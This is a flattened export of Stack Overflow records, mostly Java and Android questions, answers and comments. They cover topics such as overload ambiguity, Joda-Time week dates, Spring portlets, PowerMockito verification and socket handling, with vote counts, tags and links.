tags question: http://stackoverflow.com/q/22323082
tag name: swingworker
tags question: http://stackoverflow.com/q/22178749
tags question: http://stackoverflow.com/q/22180425
type: Tag

http://stackoverflow.com/q/22236132
downvote count: 0
tagged with: protected
tagged with: ambiguous
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22236170
upvote count: 1
type: AnsweredQuestion
has title: Java ambiguous type for protected method
has body: I'm facing the following error-message by Eclipse: The method getString(String, BasicNameValuePair[]) is ambiguous for the type Class1 for the following code: public final class Class1 { public static void getString(String requiredArguments, BasicNameValuePair[] dataPairs) { } protected static void getString(String requiredArguments, byte[] dataBytes) { } } public final class Class2 { public static void callTest() { Class1.getString("This is a test", null); } } The code in callTest() will result in the error above. It's clear that null can be converted to BasicNameValuePair[] aswell as to byte[], but note the protected modifier here. The method with byte[] as argument shouldn't be visible to Class2 at all and thus not be ambiguous. Why is the protected method visible to other (not subclassed) classes and causing this error?
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33767152
tagged with: methods
tagged with: eclipse
type: Question
has comment: http://stackoverflow.com/comment/33766705
accepted answer: http://stackoverflow.com/a/22236170

http://stackoverflow.com/comment/33750814
type: Comment
comment on: http://stackoverflow.com/a/22223320
has text: @hofmeister maybe i was a bit confusing, whether you use `@ManyToMany` or `@OneToMany`, it is required to first retrieve the tag you want to associate from the db, using jpa, and then set that to the article. The tag instance needs to have the correct record id in order for jpa to associate it with an existing managed entity, otherwise it will try to insert a new record in tag table with the same tag name and the exception will be thrown.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33821091
has text: `46: catch (Exception e) { 47: Log.e("RssReader", e.getMessage()); 48: } 49: return null;`
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22265881

http://stackoverflow.com/comment/34139423
type: Comment
comment on: http://stackoverflow.com/q/22290331
type: QuestionComment
score: 0
has text: Why does it have to be an Applet? I would use [Java Web Start](http://www.oracle.com/technetwork/java/javase/javawebstart/index.html).

http://stackoverflow.com/q/22296997
score: 1
tagged with: java
has body: I believe this question has been asked before, but it seems that I am a bit unlucky to find it. My question is how do I enabling a button/actor’s addListener in middle of the process? Take for example, on assets loading screen in between activity screen (let assume that user finished Stage A, the loading screen is to load assets for Stage B), the continue button can only be enabled (displayed previously, but not enable) after the all assets is loaded. If I add the addListener in to the render() section, it will create lots of anonymous inputListener as per this post. However, I don’t think it will work if I place it in show() section. My question is where should I place this addListener in order to make an actor touchable yet does not create those anonymous inputListener? And what is the proper way to use it?
tagged with: touch
has answer: http://stackoverflow.com/a/22299716
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/22299716
favorite count: 0
linked to: http://stackoverflow.com/q/22161809
tagged with: android
tagged with: listener
upvote count: 1
has title: about LibGdx addListener
type: Question
type: AnsweredQuestion
tagged with: libgdx

http://stackoverflow.com/q/22209297
has title: Parse Week Dates with Joda-Time?
tagged with: iso8601
has comment: http://stackoverflow.com/comment/33719104
tagged with: date
tagged with: week-number
tagged with: jodatime
score: 0
answer count: 2
linked to: http://stackoverflow.com/q/36143638
has comment: http://stackoverflow.com/comment/33730202
has comment: http://stackoverflow.com/comment/140020187
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33753656
upvote count: 1
has body: I need to parse ISO 8601 Week dates into a format that Joda-Time can hopefully work with (eg. use for calculating the days in that week, etc.) I've looked around a bit, but there doesn't seem to be any clear docs on how to do this. A full DateTime instance isn't right, since I don't have an Instant in time, I only have a Partial. I can't seem to find any way to parse things into a Partial, however. Do I need to write my own parse() method that can give me back a partial? There seem to be a couple of built-in parse methods that do this, but they all seem very specific and don't take a general format object. Specifically, I have ISO 8601 Week dates in the following forms: 1998-W12 2005W23 What I need to do with these (ultimately) is take the week, and then convert that into a collection of the days in a given week (LocalDate JodaTime objects specifically). eg. 2013-W52 =&gt; 2013-12-31 2014-01-01 2014-01-02 2014-01-03 2014-01-04 2014-01-05 2014-01-06
has answer: http://stackoverflow.com/a/79397154
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22209396
has comment: http://stackoverflow.com/comment/33722893
linked to: http://stackoverflow.com/q/65969919
tagged with: java

http://stackoverflow.com/q/22170731
tagged with: java
possible better answer: http://stackoverflow.com/a/22171943
has comment: http://stackoverflow.com/comment/33648436
has comment: http://stackoverflow.com/comment/33649215
has comment: http://stackoverflow.com/comment/33649181
answer count: 2
tagged with: google-maps
upvote count: 1
has comment: http://stackoverflow.com/comment/33649019
has comment: http://stackoverflow.com/comment/33649111
has body: I'm having trouble with GoogleMaps in my Android Application. My app crashes when I use my GoogleMap() class and I don't realize why this is happening. Would be great if you could help me solving this issue, since I'm two days trying to solve this and I can't. Here is my manifest.xml: <?xml version="1.0" encoding="utf-8"?> <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="19" /> <uses-feature android:name="android.hardware.camera" /> <uses-feature android:name="android.hardware.camera.autofocus" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES"/> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> <meta-data android:name="com.google.android.gms.version" android:value="@integer/google_play_services_version" /> <meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="AIzaSyBS7YGau85XafkSWUGipDnT...." /> And my xml Layout file mapview.xml : <?xml version="1.0" encoding="utf-8"?> <fragment android:id="@+id/map" android:layout_width="match_parent" android:layout_height="match_parent" class="com.google.android.gms.maps.SupportMapFragment" /> And finally my java class GoogleMap() : public class GoogleMap extends Fragment { public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View v = inflater.inflate(R.layout.mapview, null, false); return v; } } This Fragment is inside an pageindicator and I want the user to slide from one fragment to the other, and this being a map. Could y…
has comment: http://stackoverflow.com/comment/33649748
favorite count: 0
score: 0
accepted answer: http://stackoverflow.com/a/22172509
tagged with: android
has comment: http://stackoverflow.com/comment/33649976
downvote count: 1
has answer: http://stackoverflow.com/a/22171943
tagged with: dictionary
has comment: http://stackoverflow.com/comment/33651376
tagged with: http://stackoverflow.com/tag/xml
has answer: http://stackoverflow.com/a/22172509
has comment: http://stackoverflow.com/comment/33649316
has title: Android google map api not working
has comment: http://stackoverflow.com/comment/33648489
has comment: http://stackoverflow.com/comment/33649225
has comment: http://stackoverflow.com/comment/33648664
type: Question
type: AnsweredQuestion

http://stackoverflow.com/a/22263963
score: -1
has comment: http://stackoverflow.com/comment/33823268
type: Answer
has comment: http://stackoverflow.com/comment/33846142
has comment: http://stackoverflow.com/comment/33844477
downvote count: 1
upvote count: 0
answers question: http://stackoverflow.com/q/22244459
has body: You should take a look at the Pebble-faces example. It uses JavaScript but you could probably completely reuse the C part and just change the phone code.

http://stackoverflow.com/a/55239536
type: Answer
has body: A data buffer (or just buffer) is a region of a physical memory storage used to temporarily store data while it is being moved from one place to another. Typically, the data is stored in a buffer as it is retrieved from an input device (such as a microphone, file, disk, etc) or just before it is sent to an output device (such as speakers). Wrapping the reader in BufferedReader increases the program efficiency by reducing the time it takes to read data from external device each time directly. Instead, BufferedReader can read the data from the external device and store the data in buffer for further processing.
score: 2
answers question: http://stackoverflow.com/q/22303704
downvote count: 0
upvote count: 2

http://stackoverflow.com/a/22247935
has comment: http://stackoverflow.com/comment/33790174
has comment: http://stackoverflow.com/comment/33790058
has comment: http://stackoverflow.com/comment/33788173
answers question: http://stackoverflow.com/q/22247827
has comment: http://stackoverflow.com/comment/33826231
score: 0
has body: int[] is the primitive type. ByteBuffer may be based on an int[] but the opposite is certainly not true. It will almost cerainly be a word-aligned contiguous block of memory with 32 bit values stored in each word of the block. Several JVM's are open source, you can go look at the code if you really want to but it will be advanced stuff. There will be no easy way to do this. It sounds like you are trying to do something in a very complicated way. It may be better to describe the actual problem you are trying to solve rather than asking about problems with an attempted solution to that problem.
type: Answer
has comment: http://stackoverflow.com/comment/33790846
has comment: http://stackoverflow.com/comment/33794223

http://stackoverflow.com/comment/33917547
type: Comment
has text: ok, if i do like this how to get the value of 2nd index of array name 2
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/22319836

http://stackoverflow.com/q/22268535
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22296351
accepted answer: http://stackoverflow.com/a/22296351
tagged with: java
has answer: http://stackoverflow.com/a/22270262
type: Question
score: 0
has body: I have migrated to spring portlet MVC 4.0.2 for writing portlets. Everything is ok and just like Spring Portlet MVC 3, but when I pass the form values from JSP Page to the (action or render) method I cannot get that values. The ActionRequest.getParameter() and RenderRequest.getParameter() methods in the controller always return null value (meanwhile I have many textbox on the JSP page). My controller class: package org.basa.maskan.controller; import org.springframework.context.annotation.Scope; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.portlet.ModelAndView; import org.springframework.web.portlet.bind.annotation.ActionMapping; import org.springframework.web.portlet.bind.annotation.RenderMapping; import javax.portlet.ActionRequest; import javax.portlet.ActionResponse; import javax.portlet.RenderRequest; import javax.portlet.RenderResponse; import java.util.HashMap; import java.util.Map; @Controller @RequestMapping("VIEW") public class mdnApptest { @RenderMapping public ModelAndView simpleRenderMethod(RenderRequest renderRequest, RenderResponse renderResponse) { ModelAndView view = new ModelAndView("page"); return view; } @RequestMapping(method = RequestMethod.POST) @ActionMapping(params = "page=form_set_values") public void simpleActionMethod(ActionRequest actionRequest, ActionResponse actionResponse) { String n = actionRequest.getParameter("firstname"); printParams("ACTION PARAMETERS:", actionRequest.getParameterMap()); System.out.println("Act ********************* this is the inserted name of the user : " + n); actionResponse.setRenderParameter("page", "test"); } @RenderMapping(params = "page=test") public ModelAndView renderMethod(RenderRequest renderRequest, RenderResponse renderResponse) { String n = renderRequest.getParameter("name"); printP…
answer count: 2
tagged with: portlet
has comment: http://stackoverflow.com/comment/33825711
tagged with: spring-mvc
possible better answer: http://stackoverflow.com/a/22270262
has title: Spring 4.0.2 portlet MVC

http://stackoverflow.com/a/25274886
has body: It looks like all you really need is a bit more encouragement and perspective on how RX is used. I'd suggest you read more into the documentation as well as marble diagrams (I know they're not always useful). I also suggest looking into the lift() function and operators. The entire point of an observable is to concatenate data flow and data manipulation into a single object The point of calls to map, flatMap and filter are to manipulate the data in your data flow The point of merges are to combine data flows The point of operators are to allow you to disrupt a steady stream of observables and define your own operations on a data flow. For example, I coded a moving average operator. That sums up n doubles in an Observable of doubles to return a stream of moving averages. The code literally looked like this Observable movingAverage = Observable.from(mDoublesArray).lift(new MovingAverageOperator(frameSize)) You'll be a relieved that a lot of the filtering methods that you take for granted all have lift() under the hood. With that said; all it takes to merge multiple dependencies is: changing all incoming data to a standard data type using map or flatMap merging standard data-types to a stream using custom operators if one object needs to wait on another, or if you need to order data in the stream. Caution: this approach will slow the stream down using to list or subscribe to collect all of that data
type: Answer
upvote count: 19
score: 19
has comment: http://stackoverflow.com/comment/39903248
downvote count: 0
answers question: http://stackoverflow.com/q/22240406

http://stackoverflow.com/q/22268983
has comment: http://stackoverflow.com/comment/33826100
tagged with: http://stackoverflow.com/tag/c
upvote count: 2
answer count: 1
downvote count: 1
has title: Can Java directly open the device file node like C?
favorite count: 0
has body: As we know, the C can open the /dev file node by the Linux system API. Like this: int fd = open("/dev/hello", O_RDONLY|O_NONBLOCK); So , is there any way to do this using JAVA without JNI ? Thanks.
linked to: http://stackoverflow.com/q/8163166
tagged with: linux
type: AnsweredQuestion
score: 1
tagged with: java
accepted answer: http://stackoverflow.com/a/22268998
type: Question
has answer: http://stackoverflow.com/a/22268998

http://stackoverflow.com/comment/33769966
comment on: http://stackoverflow.com/q/22222042
type: QuestionComment
has text: You can continue ... it's a 60KB powerpoint. It's my private web server. Don't worry. It's safer than other fileshare services on the internet.
type: Comment
score: 0

http://stackoverflow.com/comment/33869627
score: 0
comment on: http://stackoverflow.com/a/22287436
has text: okk..you just change it to - Arrays.sort(seat, new Comparator<PlaneSeat>() { public int compare(PlaneSeat ps1, PlaneSeat ps2) { return ps1.getCustomerID().compareTo(ps2.CustomerID()); } });
type: Comment
type: AnswerComment

http://stackoverflow.com/q/22282107
tagged with: spring-mvc
has answer: http://stackoverflow.com/a/22282336
accepted answer: http://stackoverflow.com/a/22282336
has comment: http://stackoverflow.com/comment/33850419
tagged with: java
tagged with: hibernate
has comment: http://stackoverflow.com/comment/33850390
type: Question
type: AnsweredQuestion
has title: NoClassDefFoundError: org/aopalliance/intercept/MethodInterceptor
has answer: http://stackoverflow.com/a/41974122
has answer: http://stackoverflow.com/a/27710456
has answer: http://stackoverflow.com/a/45942295
has body: I am total new to Spring and hibernate. I donot know where I am doing mistake. I am using spring 4.0.2 and Hibernate 3 with eclipse and tomcat. Project structure :- Libraries Web.xml <?xml version="1.0" encoding="UTF-8"?> SimpleSpringHibApp index.html index.htm index.jsp default.html default.htm default.jsp Employee org.springframework.web.servlet.DispatcherServlet 1 Employee / contextConfigLocation /WEB-INF/Employee-servlet.xml org.springframework.web.context.ContextLoaderListener Employee-servlet.xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:context="http://www.springframework.org/schema/context" xmlns:jee="http://www.springframework.org/schema/jee" xmlns:lang="http://www.springframework.org/schema/lang" xmlns:p="http://www.springframework.org/schema/p" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:util="http://www.springframework.org/schema/util" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/jee http://www.springframework.org/schema/jee/spring-jee.xsd http://www.springframework.org/schema/lang http://www.springframework.org/schema/lang/spring-lang.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd http://www.springframework.org/schema/util http://www.springframework.org/schema/util/spring-util.xsd"> <context:component-scan base-package="com.manoj.springprac" /> classpath:hibernate.cfg.xml org.hibernate.cfg.AnnotationConfiguration ${jdbc.dialect} true <tx:annotation-driven /> </beans> hibernate.cfg.xml <?xml version='1.0' encoding='utf-8'?> <hibernate-con…
downvote count: 0
favorite count: 0
answer count: 5
possible better answer: http://stackoverflow.com/a/27710456
has answer: http://stackoverflow.com/a/33942580
score: 11
has comment: http://stackoverflow.com/comment/33850530
upvote count: 11

http://stackoverflow.com/q/22204662
has comment: http://stackoverflow.com/comment/33710083
tagged with: java
has body: I'm using Velocity through a Java application. The velocity in question looks like this: #if( $name1 != "" ) #set($line11 = "&lt;CharStyle:-bold black&gt; ${name1}&lt;CharStyle:&gt;") #end And outputs as such: $r&lt;ParaStyle:-body copy&gt;$line11 The output I see at the end of it all is: ${name1} I want the value of name1 to be put into the stylization text, instead of the name of the variable. This seems to be how the Velocity specs tell me to do this. ( reference )What am I doing wrong?
type: Question
has answer: http://stackoverflow.com/a/22205053
has title: Velocity assignment of one variable to another
accepted answer: http://stackoverflow.com/a/22205053
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33709902
tagged with: velocity
type: AnsweredQuestion

http://stackoverflow.com/q/22220128
score: 0
answer count: 2
type: UnansweredQuestion
has body: Please Help me on this. I had two duration times in string format: Ex: "10" and "0.30"(actually there are in minutes) I parsed those values Double and find the find the difference? But I am getting the output as 9.7 which is wrong I want it as 9.30.. Please suggest Thanks in advance!
has answer: http://stackoverflow.com/a/22220357
has comment: http://stackoverflow.com/comment/33737582
linked to: http://stackoverflow.com/q/18656857
has comment: http://stackoverflow.com/comment/33737524
type: Question
has comment: http://stackoverflow.com/comment/33737517
linked to: http://stackoverflow.com/q/17940200
tagged with: java
has answer: http://stackoverflow.com/a/22221406
has title: How to find Difference between to time durations in java?

http://stackoverflow.com/comment/33797361
has text: `.` can match anything except line separators. If you want `.` to also match them so instead of `.|\n|\r|\t` to simple use `.`, add `Pattern.DOTALL` flag to your regex `(?s)`. Also `but it hasn't worked well` is not best way to describe problem you are facing with this regex. Can you explain how you used this regex, what was your input, output and expected output? I suspect problems with `(.|\n|\r|\t)+` which is greedy and can match anything.
comment on: http://stackoverflow.com/q/22253079
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/q/22184155
upvote count: 2
has body: I am working through a set of online exercises found at Codingbat.com for my own amusement. One set of exercises focuses on recursive programming. In one of those exercises I wrote the following function to return the frequency of char 'x' within a passed string: public int countX(String str) { /*Given a string, compute recursively (no loops) the number of lowercase 'x' chars in the string.*/ if (str.length()&lt; 1){ return 0; }else if (str.charAt(0) == 'x'){ return countX(str.substring(1)) + 1; }else{ return countX(str.substring(1)); } } According to the Codingbat site, this worked fine. The next exercise was to count the frequency of the substring "hi" within a string. I tried to adapt my previous method, using substring() instead of charAt(): public int countHi(String str) { /*Given a string, compute recursively (no loops) the number of times lowercase "hi" appears in the string.*/ if (str.length()&lt; 2){ return 0; }else if (str.substring(0, 1).equals("hi")){ return countHi(str.substring(1)) + 1; }else{ return countHi(str.substring(1)); } } However, this always returns 0. It looks like the testing condition }else if (str.substring(0, 1).equals("hi")){ is never met, but I can't work out why. Hope someone can help! EDIT : As Steve and JustinKSU pointed out, I was returning a single character substring. I thought that the index numbers in the substring() method referred to the index of characters as if they were stored in an array (where 0 would be first character, 1 second etc.) It looks like a better way to think about it is that the substring() indexes represent the count of character separators in the string, starting with a separator preceding the first character, (such that substring(0, 1) encapsulates the first character).
downvote count: 1
tagged with: recursion
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22184233
score: 1
has answer: http://stackoverflow.com/a/22184233
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/31641052
has answer: http://stackoverflow.com/a/22184216
tagged with: string
favorite count: 0
has comment: http://stackoverflow.com/comment/33673352
has title: Beginner programming exercises (Java): recursively counting instances of substring in string (.equals()?)
answer count: 3
accepted answer: http://stackoverflow.com/a/22184216

http://stackoverflow.com/comment/33884449
comment on: http://stackoverflow.com/a/22301090
has text: Yea got it, it was simple!
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/33777963
score: 0
has text: show your code and json data.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236282

http://stackoverflow.com/comment/33664693
score: 0
type: Comment
has text: Yes, I got a green rectangle from the 2 expressions. Now I should test with a constant? How could I implement that test?
type: AnswerComment
comment on: http://stackoverflow.com/a/22176487

http://stackoverflow.com/comment/33834045
score: 0
comment on: http://stackoverflow.com/q/22273340
type: Comment
type: QuestionComment
has text: For one thing, you need a pixel format with ***destination alpha*** to use the alpha saturation blend mode. This means that your framebuffer must store an alpha channel. Since there are not a lot of common uses for a destination alpha channel, often framebuffers are setup with only RGB channels. Can you add your pixel format to the question?

http://stackoverflow.com/a/22302872
has body: This tool is appropriate for you. Open JDK - Java Object Layout Sample examining HashMap $ java -jar jol-cli/target/jol-internals.jar java.util.HashMap Running 64-bit HotSpot VM. Using compressed references with 3-bit shift. Objects are 8 bytes aligned. Field sizes by type: 4, 1, 1, 2, 2, 4, 4, 8, 8 [bytes] Array element sizes: 4, 1, 1, 2, 2, 4, 4, 8, 8 [bytes] java.util.HashMap object internals: OFFSET SIZE TYPE DESCRIPTION VALUE 0 4 (object header) 01 00 00 00 (00000001 00000000 00000000 00000000) 4 4 (object header) 00 00 00 00 (00000000 00000000 00000000 00000000) 8 4 (object header) 0f 0f 3e e0 (00001111 00001111 00111110 11100000) 12 4 Set AbstractMap.keySet null 16 4 Collection AbstractMap.values null 20 4 int HashMap.size 0 24 4 int HashMap.threshold 16 28 4 float HashMap.loadFactor 0.75 32 4 int HashMap.modCount 0 36 4 int HashMap.hashSeed 0 40 4 Entry[] HashMap.table [] 44 4 Set HashMap.entrySet null Instance size: 48 bytes (estimated, add this JAR via -javaagent: to get accurate result) Space losses: 0 bytes internal + 0 bytes external = 0 bytes total
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/22302518
upvote count: 2
accepted answer of: http://stackoverflow.com/q/22302518
type: AcceptedAnswer

http://stackoverflow.com/a/22187591
has comment: http://stackoverflow.com/comment/33679491
has comment: http://stackoverflow.com/comment/33679973
downvote count: 0
type: Answer
has body: for(Student s:stu){ if(s.getGradeLevel()==12){ System.out.println(s); } } This answer assumes that you have declared a method getGradeLevel() in the Student class that returns the student's grade level, and that you have properly overridden Student.toString().
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22187555

http://stackoverflow.com/a/22242252
answers question: http://stackoverflow.com/q/22227213
score: 0
has body: There are numerous reasons why disabling the back button will not really work. Your best bet is to warn the user: window.onbeforeunload = function() { return "You work will be lost."; }; This page does list a number of ways you could try to disable the back button, but none are guaranteed click this link
type: Answer

http://stackoverflow.com/a/31379657
score: 1
type: Answer
has body: I just had the same issue. I found out that the returned HTML might be compressed into a GZIP format. Use something like this to check for encoding, and use the appropriate streams to decode the content: URL urlObj = new URL(url); URLConnection conn = urlObj.openConnection(); String encoding = conn.getContentEncoding(); InputStream is = conn.getInputStream(); InputStreamReader isr = null; if (encoding != null &amp;&amp; encoding.equals("gzip")) { isr = new InputStreamReader(new GZIPInputStream(is)); } else { isr = new InputStreamReader(is); } reader = new BufferedReader(isr); And so forth.
upvote count: 1
answers question: http://stackoverflow.com/q/22275438
downvote count: 0

http://stackoverflow.com/q/22259413
linked to: http://stackoverflow.com/q/5718450
tagged with: exception
tagged with: sockets
tagged with: android
has comment: http://stackoverflow.com/comment/33809533
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22260043
score: 1
tagged with: java
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22260408
has title: Android client - Java server, Socket won't throw exception
possible better answer: http://stackoverflow.com/a/22260408
accepted answer: http://stackoverflow.com/a/22260043
has comment: http://stackoverflow.com/comment/33809722
answer count: 2
has body: I'm trying to connect my Android APP to a Java server that I've made for it. I have a problem, the server works good and the APP works fine too when connected to the server. The problem comes when I close the server and try to connect to it. The suppose is that the Socket.connect() would throw an exception that I would catch, but this exception is not thrown. I don't know what I'm doing bad, I paste my code here for you to read and maybe somone can help me. Thanks for all mates :D Connection attributes: static Socket s; static DataOutputStream output; static boolean connected; The method who needs the connection: public void enviarDatos(int r, int g, int b){ connect(); if(connected){ panel.setText(panel.getText() + "\nEnviando datos..."); try { output.writeUTF(r + "," + g + "," + b); } catch (Exception e) { panel.setText("Error: " + e.getMessage()); } disconnect(); } } The methods to connect and disconnect are there: public void connect(){ try { s = new Socket(); int timeout = 1000; s.connect(new InetSocketAddress(SERVER_ADDRESS, SERVER_PORT), timeout); output = new DataOutputStream(s.getOutputStream()); connected = true; panel.setText("Conexion exitosa."); } catch (Exception e) { connected = false; panel.setText("Error: " + e.getMessage()); } } public void disconnect(){ try{ output.close(); s.close(); connected = false; } catch(Exception e){ panel.setText("Error: " + e.getMessage()); } }
downvote count: 0
favorite count: 0

http://stackoverflow.com/a/22318289
score: 1
has comment: http://stackoverflow.com/comment/33950420
upvote count: 1
type: AcceptedAnswer
has body: The problem is the way in which you are using the Element class and extending it from ArrayList. This comes down to how the hashcode is calculated from an ArrayList (or AbstractList to be more accurate. The hashcode is calculted based on the elements in the ArrayList, which is 0 for all the child Elements, resulting in a hashcode of 1 for all of them, which is causing issues with the List look up and uniquely identifying the elements. Personally, I would create a Node class which contained a List member and which provided additional functionality that could work with the TreeModel or just use TreeNode... For example... import java.awt.BorderLayout; import java.awt.EventQueue; import java.util.ArrayList; import java.util.Collections; import java.util.Enumeration; import java.util.List; import javax.swing.JFrame; import javax.swing.JScrollPane; import javax.swing.JTree; import javax.swing.UIManager; import javax.swing.UnsupportedLookAndFeelException; import javax.swing.event.TreeModelListener; import javax.swing.tree.DefaultMutableTreeNode; import javax.swing.tree.MutableTreeNode; import javax.swing.tree.TreeModel; import javax.swing.tree.TreeNode; import javax.swing.tree.TreePath; public class TestTree { public static void main(String[] args) { new TestTree(); } public TestTree() { EventQueue.invokeLater(new Runnable() { @Override public void run() { try { UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) { } JTree tree = new JTree(new TestModel()); JFrame frame = new JFrame("Testing"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setLayout(new BorderLayout()); frame.add(new JScrollPane(tree)); frame.pack(); frame.setLocationRelativeTo(null); frame.setVisible(true); } }); } public static class TestModel implements TreeModel { Element data; TestModel() { data = new Element("data"); data.add(new Element("One")); data.…
accepted answer of: http://stackoverflow.com/q/22317870
answers question: http://stackoverflow.com/q/22317870
type: Answer
downvote count: 0

http://stackoverflow.com/q/22298631
tagged with: jsf-2
has comment: http://stackoverflow.com/comment/33886070
downvote count: 0
tagged with: jboss7.x
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/33882746
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33917364
has title: Handle javax.el.ELException
has comment: http://stackoverflow.com/comment/33883001
has comment: http://stackoverflow.com/comment/33883784
answer count: 0
has body: I'm trying to handle a javax.el.ELException which happens from within an AJAX update. Those get thrown for example when an exception occurs in a bound getter through an EL expression. I have a custom ExceptionHandler in place but it never receives the exception. I also tried the FullAjaxExceptionHandler of Omnifaces, but this one wasn't able to process it either. What happens now is that the page is rendered only partly in the browser to the point where the exception happened. To me it looks like JBoss is already handling this exception, since it produces a log line with only the message of the exception inside. I want to be able to send the browser to a default error page whenever an exception occurs in an AJAX update.
has comment: http://stackoverflow.com/comment/33885115
tagged with: java
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33883033
has comment: http://stackoverflow.com/comment/33880042
has comment: http://stackoverflow.com/comment/33887060
has comment: http://stackoverflow.com/comment/33917246
has comment: http://stackoverflow.com/comment/33917142

http://stackoverflow.com/a/22361156
score: 8
type: Answer
downvote count: 0
upvote count: 8
accepted answer of: http://stackoverflow.com/q/22306200
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22306200
has body: You could try something like this which should conform with the current spec programming model. Store the object from your first step using the persistent step data in your NormalBatchlet: stepCtx.setPersistentUserData(mySerializableData); Retrieve the data from the first step in your partitions, by looking up the previous step: Long execId = jobCtx.getExecutionId(); List&lt;StepExecution&gt; stepExecs = jobOperator.getStepExecutions(execID); MyPersistentUserData myData; for (StepExecution step : stepExecs) { if (step.getStepName().equals("somePreviousStepX") { myData = (MyPersistentUserData)step.getPersistentUserData(); } } //use myData
has comment: http://stackoverflow.com/comment/50928805
has comment: http://stackoverflow.com/comment/99154322

http://stackoverflow.com/q/22180773
tagged with: mockito
tagged with: junit
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22199851
upvote count: 5
tagged with: powermock
has body: I am trying to capture the 'logError' method in a static class (in the sense of every method/field is static), and verify it has been called some number of times by other methods in the same class. this method is: public static void logError(Object message){ LOGGER.error(message); // static logger } my attempt to test it: @Test public void errLogTest() throws Exception{ PowerMockito.mockStatic(X.class); PowerMockito.doNothing().when(X.class); X.logError(Mockito.anyString()); X.open(); X.open(); //should log error for opening twice PowerMockito.verifyStatic(Mockito.times(1)); } My problem is, no matter how many times I specify, it passes. I removed mocking behavior and know for a fact the logger is called once, but I can have PowerMockito.verifyStatic(Mockito.times(9001)); instead and it still passes. How do I test this?
downvote count: 0
type: UnansweredQuestion
has title: Verifying a call of a static void method with powermockito
tagged with: unit-testing
type: Question
tagged with: java
score: 5

http://stackoverflow.com/comment/33654605
type: Comment
comment on: http://stackoverflow.com/q/22173965
type: QuestionComment
score: 1
has text: This code is all Swing, there is no SWT code.

http://stackoverflow.com/comment/33777124
type: Comment
comment on: http://stackoverflow.com/a/22241771
has text: Please read: [Are answers that just contain links elsewhere really “good answers”?](http://meta.stackexchange.com/questions/8231/are-answers-that-just-contain-links-elsewhere-really-good-answers)
score: 0
type: AnswerComment

http://stackoverflow.com/a/22228453
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/33792987
has body: Why did you put the Design Patterns tag on this and then not mention them at all? This is clearly a job for the Strategy Pattern. The other thing worth thinking about here is genericizing the graph itself, so having a way to do Graph. That way you could have graphs of anything and be able to score them at will. The other question here is what is the purpose of this scoring? Ordering, right? So you are basically producing an index, no? And you might want to have other orderings? So some organization where you could contain different orders in groups together would make sense, then you could presumably switch between them without an intervening rebuild (as you mention).
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/22223235

http://stackoverflow.com/q/22174413
has comment: http://stackoverflow.com/comment/33656775
has comment: http://stackoverflow.com/comment/33655406
has answer: http://stackoverflow.com/a/22174628
type: AnsweredQuestion
tagged with: java
has answer: http://stackoverflow.com/a/22175383
accepted answer: http://stackoverflow.com/a/22174628
has body: Looking for the best way that I can define a class without knowing its name at the time of compilation. In PHP, this is done as follows: $className = 'testclass'; $myClass = new $className(); In contrast, already in Java so do not be. I know it's ClassLoader, but I'm not sure if Android does so the same thing. I would ask for a specific code or even tips on how I can do it. Regards.
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/22175383
has comment: http://stackoverflow.com/comment/33656068
has title: Dynamically loading class in Java Android
tagged with: class
has comment: http://stackoverflow.com/comment/33655492
score: 0
has comment: http://stackoverflow.com/comment/33655279
tagged with: android
has comment: http://stackoverflow.com/comment/33655260

http://stackoverflow.com/comment/33827217
score: 0
type: Comment
